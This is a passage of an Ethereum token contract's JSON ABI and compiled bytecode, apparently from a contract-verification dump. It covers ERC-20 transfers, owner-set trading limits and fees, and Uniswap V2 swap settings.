s","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"is_swapping","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"sendERCWrongCoins","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setUniPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"toggleSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"tokensForDevelopment","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"uniV2PairAddr","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateLimitFeeAmountForSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526000600760006101000a81548160ff0219169083151502179055506000600760016101000a81548160ff0219169083151502179055506040518061010001604052806000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152506010600082015181600001556020820151816001015560408201518160020155606082015181600301556080820151816004015560a0820151816005015560c0820151816006015560e08201518160070155505073c55789d6ca6bc73a9eedb288e3f03eb0be199044601c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073c55789d6ca6bc73a9eedb288e3f03eb0be199044601d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200018757600080fd5b506040518060400160405280600381526020017f30785800000000000000000000000000000000000000000000000000000000008152506040518060400160405280600181526020017f58000000000000000000000000000000000000000000000000000000000000008152508160039081620002059190620010e2565b508060049081620002179190620010e2565b50505060006200022c62000b2860201b60201c565b905080600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff1681525050620003476080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff62000b3060201b60201c565b5060006b033b2e3c9fd0803ce800000090506127106001826200036b9190620011f8565b62000377919062001272565b60068190555060646003826200038e9190620011f8565b6200039a919062001272565b601a819055506064600382620003b19190620011f8565b620003bd919062001272565b6018819055506064600382620003d49190620011f8565b620003e0919062001272565b601981905550600060106001018190555060006010600301819055506000601060020181905550601060020154601060030154601060010154620004259190620012aa565b620004319190620012aa565b601060000181905550600060106005018190555060006010600701819055506000601060060181905550601060060154601060070154601060050154620004799190620012aa565b620004859190620012aa565b6010600401819055506001600e6000620004a462000b5e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e600060805173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e6000601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e6000601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c60006200070b62000b5e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c6000601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c6000601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d600060805173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60006200091862000b5e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000b21338262000b8860201b60201c565b5062001408565b600033905090565b600062000b5462000b4662000b2860201b60201c565b848462000d1860201b60201c565b6001905092915050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000bfa576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000bf19062001346565b60405180910390fd5b62000c118160025462000e0560201b90919060201c565b60028190555062000c6a816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205462000e0560201b90919060201c565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000d0c919062001379565b60405180910390a35050565b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405162000df8919062001379565b60405180910390a3505050565b600080828462000e169190620012aa565b90508381101562000e5e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000e5590620013e6565b60405180910390fd5b8091505092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000eea57607f821691505b60208210810362000f005762000eff62000ea2565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000f6a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000f2b565b62000f76868362000f2b565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000fc362000fbd62000fb78462000f8e565b62000f98565b62000f8e565b9050919050565b6000819050919050565b62000fdf8362000fa2565b62000ff762000fee8262000fca565b84845462000f38565b825550505050565b600090565b6200100e62000fff565b6200101b81848462000fd4565b505050565b5b8181101562001043576200103760008262001004565b60018101905062001021565b5050565b601f82111562001092576200105c8162000f06565b620010678462000f1b565b8101602085101562001077578190505b6200108f620010868562000f1b565b83018262001020565b50505b505050565b600082821c905092915050565b6000620010b76000198460080262001097565b1980831691505092915050565b6000620010d28383620010a4565b9150826002028217905092915050565b620010ed8262000e68565b67ffffffffffffffff81111562001109576200110862000e73565b5b62001115825462000ed1565b6200112282828562001047565b600060209050601f8311600181146200115a576000841562001145578287015190505b620011518582620010c4565b865550620011c1565b601f1984166200116a8662000f06565b60005b8281101562001194578489015182556001820191506020850194506020810190506200116d565b86831015620011b45784890151620011b0601f891682620010a4565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620012058262000f8e565b9150620012128362000f8e565b9250828202620012228162000f8e565b915082820484148315176200123c576200123b620011c9565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006200127f8262000f8e565b91506200128c8362000f8e565b9250826200129f576200129e62001243565b5b828204905092915050565b6000620012b78262000f8e565b9150620012c48362000f8e565b9250828201905080821115620012df57620012de620011c9565b5b92915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b60006200132e601f83620012e5565b91506200133b82620012f6565b602082019050919050565b6000602082019050818103600083015262001361816200131f565b9050919050565b620013738162000f8e565b82525050565b600060208201905062001390600083018462001368565b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000620013ce601b83620012e5565b9150620013db8262001396565b602082019050919050565b600060208201905081810360008301526200140181620013bf565b9050919050565b60805161407c6200144760003960008181611c9b01528181612ee001528181612fc101528181612fe80152818161308401526130ab015261407c6000f3fe6080604052600436106102345760003560e01c8063715018a61161012e578063c0246668116100ab578063eb3252211161006f578063eb325221146108c5578063ef8700e514610902578063f2fde38b1461092d578063f887ea4014610956578063fcb9665e1461098157610273565b8063c0246668146107e2578063dcd855281461080b578063dd62ed3e14610834578063dea9f43014610871578063e16830a81461089c57610273565b806395d89b41116100f257806395d89b41146106d5578063963932b414610700578063a457c2d71461073d578063a9059cbb1461077a578063b7663029146107b757610273565b8063715018a61461062857806372cbadb11461063f578063751039fc1461066a5780637571336a146106815780638da5cb5b146106aa57610273565b806323b872dd116101bc5780633ccfd60b116101805780633ccfd60b1461051b578063414520b41461054657806349bd5a5e146105835780634fbee193146105ae57806370a08231146105eb57610273565b806323b872dd1461041957806325313d2e14610456578063313ce5671461048857806335fe822d146104b357806339509351146104de57610273565b806310d5de531161020357806310d5de531461033257806318160ddd1461036f5780631a8145bb1461039a5780631c6e8a75146103c55780631f3fed8f146103ee57610273565b806306fdde031461027857806307980cb9146102a3578063095ea7b3146102cc5780630b1c71821461030957610273565b36610273573073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff160361027157600080fd5b005b600080fd5b34801561028457600080fd5b5061028d6109ac565b60405161029a919061324b565b60405180910390f35b3480156102af57600080fd5b506102ca60048036038101906102c591906132d0565b610a3e565b005b3480156102d857600080fd5b506102f360048036038101906102ee9190613333565b610cc4565b604051610300919061338e565b60405180910390f35b34801561031557600080fd5b50610330600480360381019061032b91906133d5565b610ce2565b005b34801561033e57600080fd5b50610359600480360381019061035491906132d0565b610e64565b604051610366919061338e565b60405180910390f35b34801561037b57600080fd5b50610384610e84565b6040516103919190613424565b60405180910390f35b3480156103a657600080fd5b506103af610e8e565b6040516103bc9190613424565b60405180910390f35b3480156103d157600080fd5b506103ec60048036038101906103e7919061343f565b610e94565b005b3480156103fa57600080fd5b50610403610f48565b6040516104109190613424565b60405180910390f35b34801561042557600080fd5b50610440600480360381019061043b919061346c565b610f4e565b60405161044d919061338e565b60405180910390f35b34801561046257600080fd5b5061046b611027565b60405161047f9897969594939291906134bf565b60405180910390f35b34801561049457600080fd5b5061049d61105d565b6040516104aa9190613559565b60405180910390f35b3480156104bf57600080fd5b506104c8611066565b6040516104d59190613424565b60405180910390f35b3480156104ea57600080fd5b5061050560048036038101906105009190613333565b61106c565b604051610512919061338e565b60405180910390f35b34801561052757600080fd5b5061053061111f565b60405161053d919061338e565b60405180910390f35b34801561055257600080fd5b5061056d600480360381019061056891906132d0565b6111b7565b60405161057a919061338e565b60405180910390f35b34801561058f57600080fd5b506105986111d7565b6040516105a59190613583565b60405180910390f35b3480156105ba57600080fd5b506105d560048036038101906105d091906132d0565b6111fd565b6040516105e2919061338e565b60405180910390f35b3480156105f757600080fd5b50610612600480360381019061060d91906132d0565b611253565b60405161061f9190613424565b60405180910390f35b34801561063457600080fd5b5061063d61129b565b005b34801561064b57600080fd5b506106546113f3565b6040516106619190613424565b60405180910390f35b34801561067657600080fd5b5061067f6113f9565b005b34801561068d57600080fd5b506106a860048036038101906106a391906133d5565b6114a9565b005b3480156106b657600080fd5b506106bf61159b565b6040516106cc9190613583565b60405180910390f35b3480156106e157600080fd5b506106ea6115c5565b6040516106f7919061324b565b60405180910390f35b34801561070c57600080fd5b506107276004803603810190610722919061359e565b611657565b604051610734919061338e565b60405180910390f35b34801561074957600080fd5b50610764600480360381019061075f9190613333565b611700565b604051610771919061338e565b60405180910390f35b34801561078657600080fd5b506107a1600480360381019061079c9190613333565b6117cd565b6040516107ae919061338e565b60405180910390f35b3480156107c357600080fd5b506107cc6117eb565b6040516107d9919061338e565b60405180910390f35b3480156107ee57600080fd5b50610809600480360381019061080491906133d5565b6117fe565b005b34801561081757600080fd5b50610832600480360381019061082d9190613333565b6118f0565b005b34801561084057600080fd5b5061085b600480360381019061085691906135cb565b611921565b6040516108689190613424565b60405180910390f35b34801561087d57600080fd5b506108866119a8565b604051610893919061338e565b60405180910390f35b3480156108a857600080fd5b506108c360048036038101906108be91906133d5565b6119bb565b005b3480156108d157600080fd5b506108ec60048036038101906108e791906132d0565b611aad565b6040516108f9919061338e565b60405180910390f35b34801561090e57600080fd5b50610917611acd565b6040516109249190613424565b60405180910390f35b34801561093957600080fd5b50610954600480360381019061094f91906132d0565b611ad3565b005b34801561096257600080fd5b5061096b611c99565b604051610978919061366a565b60405180910390f35b34801561098d57600080fd5b50610996611cbd565b6040516109a39190613424565b60405180910390f35b6060600380546109bb906136b4565b80601f01602080910402602001604051908101604052809291908181526020018280546109e7906136b4565b8015610a345780601f10610a0957610100808354040283529160200191610a34565b820191906000526020600020905b815481529060010190602001808311610a1757829003601f168201915b5050505050905090565b610a46611cc3565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ad5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610acc90613731565b60405180910390fd5b80601b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600f6000601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e6000601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760006101000a81548160ff0219169083151502179055506001600760016101000a81548160ff02191690831515021790555043600b8190555050565b6000610cd8610cd1611cc3565b8484611ccb565b6001905092915050565b610cea611cc3565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7090613731565b60405180910390fd5b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e00906137c3565b60405180910390fd5b80600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600d6020528060005260406000206000915054906101000a900460ff1681565b6000600254905090565b60095481565b610e9c611cc3565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2290613731565b60405180910390fd5b80600760016101000a81548160ff02191690831515021790555050565b60085481565b6000610f5b848484611db6565b61101c84610f67611cc3565b6110178560405180606001604052806028815260200161401f60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610fcd611cc3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461278b9092919063ffffffff16565b611ccb565b600190509392505050565b60108060000154908060010154908060020154908060030154908060040154908060050154908060060154908060070154905088565b60006012905090565b60195481565b6000611115611079611cc3565b84611110856001600061108a611cc3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127ef90919063ffffffff16565b611ccb565b6001905092915050565b600080479050601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168160405161116b90613814565b60006040518083038185875af1925050503d80600081146111a8576040519150601f19603f3d011682016040523d82523d6000602084013e6111ad565b606091505b5050809250505090565b600f6020528060005260406000206000915054906101000a900460ff1681565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6112a3611cc3565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611332576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132990613731565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b601a5481565b611401611cc3565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611490576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148790613731565b60405180910390fd5b61149c6103e88061284d565b6114a76103e861289d565b565b6114b1611cc3565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611540576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153790613731565b60405180910390fd5b80600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546115d4906136b4565b80601f0160208091040260200160405190810160405280929190818152602001828054611600906136b4565b801561164d5780601f106116225761010080835404028352916020019161164d565b820191906000526020600020905b81548152906001019060200180831161163057829003601f168201915b5050505050905090565b6000611661611cc3565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e790613731565b60405180910390fd5b8160068190555060019050919050565b60006117c361170d611cc3565b846117be85604051806060016040528060258152602001613fd46025913960016000611737611cc3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461278b9092919063ffffffff16565b611ccb565b6001905092915050565b60006117e16117da611cc3565b8484611db6565b6001905092915050565b600760029054906101000a900460ff1681565b611806611cc3565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611895576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188c90613731565b60405180910390fd5b80600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b61191d82601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836128c6565b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600760019054906101000a900460ff1681565b6119c3611cc3565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4990613731565b60405180910390fd5b80600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600e6020528060005260406000206000915054906101000a900460ff1681565b600a5481565b611adb611cc3565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6190613731565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611bd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bd09061389b565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b7f000000000000000000000000000000000000000000000000000000000000000081565b60185481565b600033905090565b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611da99190613424565b60405180910390a3505050565b60008103611dcf57611dca838360006128d6565b612786565b611dd761159b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611e455750611e1561159b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611e5e5750600760029054906101000a900460ff16155b156121e457600760009054906101000a900460ff16611f5857600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611f185750600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611f57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4e90613907565b60405180910390fd5b5b600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611ffb5750600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561204a57601854811115612045576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203c90613999565b60405180910390fd5b612139565b600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156120ed5750600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561213857601954811115612137576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212e90613a2b565b60405180910390fd5b5b5b600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166121e357601a5461219683611253565b826121a19190613a7a565b11156121e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d990613afa565b60405180910390fd5b5b5b60006121ef30611253565b905060006006548210159050600760019054906101000a900460ff1680156122145750805b801561222d5750600760029054906101000a900460ff16155b80156122825750600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80156122d85750600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561232e5750600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612372576001600760026101000a81548160ff021916908315150217905550612356612a80565b6000600760026101000a81548160ff0219169083151502179055505b6000600760029054906101000a900460ff16159050600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806124285750600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561243257600090505b8015612777576000600b544310156124d45761246b606461245d606388612d3390919063ffffffff16565b612dad90919063ffffffff16565b90506063605e8261247c9190613b1a565b6124869190613b8b565b600860008282546124979190613a7a565b9250508190555060636005826124ad9190613b1a565b6124b79190613b8b565b600a60008282546124c89190613a7a565b92505081905550612752565b600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561253257506000601060040154115b1561261457612562606461255460106004015488612d3390919063ffffffff16565b612dad90919063ffffffff16565b90506010600401546010600701548261257b9190613b1a565b6125859190613b8b565b600960008282546125969190613a7a565b92505081905550601060040154601060050154826125b49190613b1a565b6125be9190613b8b565b600860008282546125cf9190613a7a565b92505081905550601060040154601060060154826125ed9190613b1a565b6125f79190613b8b